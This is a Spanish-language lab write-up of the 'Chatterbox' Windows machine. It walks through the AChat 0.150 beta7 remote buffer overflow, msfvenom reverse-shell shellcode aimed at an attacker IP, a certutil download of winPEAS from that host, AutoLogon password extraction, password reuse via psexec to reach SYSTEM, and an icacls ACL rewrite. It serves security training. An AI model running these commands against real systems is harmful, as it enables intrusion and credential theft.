Chatterbox
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR.Chatterboxes una cajaWindowsantigua (Server 2008 R2, 32 bits) que correAchat 0.150 beta7, vulnerable a un desbordamiento de búfer remoto. Con un shellcode generado pormsfvenom(codificación unicode) obtenemos shell comoalfred. En la escalada,winPEASencuentra credenciales de inicio de sesión automático (AutoLogon):Alfred:Welcome1!. Esa contraseña está reutilizada en elAdministrador, así que entramos comoSYSTEMconpsexec.py. La flag de root tiene una ACL que excluye aSYSTEM, pero la reescribimos conicaclsy la leemos.
Reconocimiento
Escaneo inicial
ping -c 1 10.10.10.74
64 bytes from 10.10.10.74: icmp_seq=1 ttl=127 time=107 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido UDP de los puertos comunes no devuelve nada útil:
nmap -sU --min-rate 5000 -Pn -n --open --top-ports 1000 10.10.10.74
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-22 14:14 UTC
Initiating UDP Scan at 14:14
Scanning 10.10.10.74 [1000 ports]
Completed UDP Scan at 14:14, 1.60s elapsed (1000 total ports)
Nmap scan report for 10.10.10.74
Host is up, received user-set (0.15s latency).
Not shown: 289 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
Nmap done: 1 IP address (1 host up) scanned in 1.68 secondsEl TCP completo deja puertos clásicos de Windows más dos poco habituales, 9255/9256:
nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.10.74
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
9255/tcp open http
9256/tcp open achatextractPorts, una función del .zshrc, resume el fichero -oG y deja los once puertos en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.10.74
Open ports: 135,139,445,9255,9256,49152,49153,49154,49155,49156,49157
Ports copied to clipboardnmap -p135,139,445,9255,9256 -sCV 10.10.10.74
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 SP1 (workgroup: WORKGROUP)
9255/tcp open http AChat chat system httpd
9256/tcp open achat AChat chat systemLos puertos 9255 y 9256 son la firma de AChat, un sistema de chat de escritorio. Que un servicio así esté expuesto en una máquina antigua es la pista principal: AChat arrastra un desbordamiento de búfer remoto muy conocido.
Buscar el exploit de AChat
searchsploit achat
Exploit Title Path
------------------------------------------------------- --------------------------
Achat 0.150 beta7 - Remote Buffer Overflow | windows/remote/36025.py
Achat 0.150 beta7 - Remote Buffer Overflow (Metasploit) | windows/remote/36056.rb
MataChat - 'input.php' Multiple Cross-Site Scripting | php/webapps/32958.txt
Parachat 5.5 - Directory Traversal | php/webapps/24647.txtAparecen dos resultados sobre un desbordamiento remoto en la versión 0.150 beta7. No podemos confirmar la versión exacta a distancia, pero el exploit es barato de probar, así que lo descargamos.
Explotación
UDP 9256: desbordamiento de búfer en AChat 0.150 beta7
El exploit público envía un paquete UDP al puerto 9256 que desborda un búfer en la pila (stack buffer overflow). Su problema: el shellcode incluido solo abre la calculadora. Hay que sustituirlo por uno que nos dé una reverse shell.
AChat procesa el mensaje como texto unicode, así que el shellcode debe sobrevivir a esa transformación: por eso msfvenom usa el codificador x86/unicode_mixed y BufferRegister=EAX, además de una larga lista de bad chars:
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10.16.4 LPORT=4444 \
-e x86/unicode_mixed -b '\x00\x80\x81...\xff' BufferRegister=EAX -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 774 (iteration=0)
x86/unicode_mixed chosen with final size 774
Payload size: 774 bytes
Final size of python file: 3822 bytes
buf = b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
...Reemplazamos el shellcode de la calculadora por el nuestro dentro del exploit y ajustamos la IP del objetivo:

Acceso como alfred
Con el listener a la escucha, lanzamos el exploit con Python 2:
nc -lvnp 4444
python2 achat_exploit.py
El desbordamiento ejecuta nuestro shellcode y recibimos la shell como chatterbox\alfred. Leemos la flag de usuario:
C:\Users>whoami
chatterbox\alfred
C:\Users>type alfred\desktop\user.txt
5ba2e3789616d159f9d04a0c5a996a55
Escalada de privilegios
Enumeración con winPEAS: credenciales de AutoLogon
La máquina es de 32 bits, así que descargamos la variante x86 de winPEAS desde el repo de PEASS-ng (la x64 no leería la vista de registro correcta):

Lo servimos por HTTP y lo subimos a la víctima con certutil:
certutil.exe -f -urlcache -split http://10.10.16.4/winPEASx86.exe winPEASx86.exe
.\winPEASx86.exe
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.74 - - [22/Dec/2025 17:02:36] "GET /winPEASx86.exe HTTP/1.1" 200 -
10.10.10.74 - - [22/Dec/2025 17:02:43] "GET /winPEASx86.exe HTTP/1.1" 200 -
certutil.exe -f -urlcache -split http://10.10.16.4/winPEASx86.exe winPEASx86.exe
**** Online ****
000000 ...
9b3600
CertUtil: -URLCache command completed successfully.Entre los hallazgos, winPEAS resalta credenciales de inicio de sesión automático (AutoLogon). El mismo dato se lee a mano consultando el registro, donde AutoLogon guarda la contraseña en claro:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Looking for AutoLogon credentials
DefaultUserName : Alfred
DefaultPassword : Welcome1!La contraseña Welcome1! es la de alfred, el usuario en el que ya estamos. Por sí sola no escala nada. Pero las contraseñas se reutilizan: el reflejo inmediato es probarla en cuentas más privilegiadas.
Reutilización de contraseña: SYSTEM con psexec
Validamos Welcome1! contra el Administrador y resulta correcta; como WinRM no está habilitado, abrimos la shell por SMB con psexec.py (reutilización de credenciales):
netexec smb 10.10.10.74 -u 'Administrator' -p 'Welcome1!'
psexec.py 'Administrator:Welcome1!'@10.10.10.74
SMB 10.10.10.74 445 CHATTERBOX [+] Chatterbox\Administrator:Welcome1! (Pwn3d!)
...
C:\Windows\system32> whoami
nt authority\systemLa contraseña de autologon estaba reutilizada en el Administrador. psexec.py crea un servicio y nos deja como NT AUTHORITY\SYSTEM.
Root flag: reescribir la ACL con icacls
Sorprendentemente, leer root.txt como SYSTEM falla con Access is denied. No es un bug: la ACL del fichero no incluye a SYSTEM. Como SYSTEM/Administrador puede reescribir ACL, nos concedemos control total y leemos (abuso de icacls):
icacls root.txt /grant "nt authority\system":F
type root.txt
d6edc7d33b0114f4097486b2e343252bC:\Users\Administrator\Desktop> type root.txt
Access is denied.
C:\Users\Administrator\Desktop> icacls root.txt /grant "nt authority\system":F
processed file: root.txt
Successfully processed 1 files; Failed processing 0 files
C:\Users\Administrator\Desktop> type root.txt
d6edc7d33b0114f4097486b2e343252bCadena de ataque
AChat 0.150 beta7 (UDP 9256)
└── buffer overflow + shellcode unicode (msfvenom)
└── reverse shell como alfred (user.txt)
└── winPEAS → AutoLogon: Alfred:Welcome1!
└── password reuse en Administrator (netexec Pwn3d!)
└── psexec.py → NT AUTHORITY\SYSTEM
└── icacls root.txt /grant ── leer root.txt (root.txt)Lecciones aprendidas
- Un puerto raro es la pista.
9255/9256no son habituales; identificar AChat dirigió toda la explotación a un desbordamiento conocido en lugar de a fuerza bruta ciega. - El shellcode debe sobrevivir al transporte. AChat trata el mensaje como unicode; sin el codificador
x86/unicode_mixedy los bad chars correctos, el payload se corrompe y no ejecuta. - El autologon guarda la contraseña en claro.
winPEASla extrae del registro (Winlogon); en máquinas de 32 bits hay que usar la versiónx86para leer la vista de registro adecuada. - La contraseña de autologon suele reutilizarse. El salto a
Administradorno fue otro exploit, sino probar la misma contraseña: validar siempre las credenciales encontradas en otras cuentas. SYSTEMno lo lee todo. El acceso lo decide la ACL del fichero, no el "rango" de la cuenta; conicaclsse reescribe la ACL y se sortea unAccess is denied.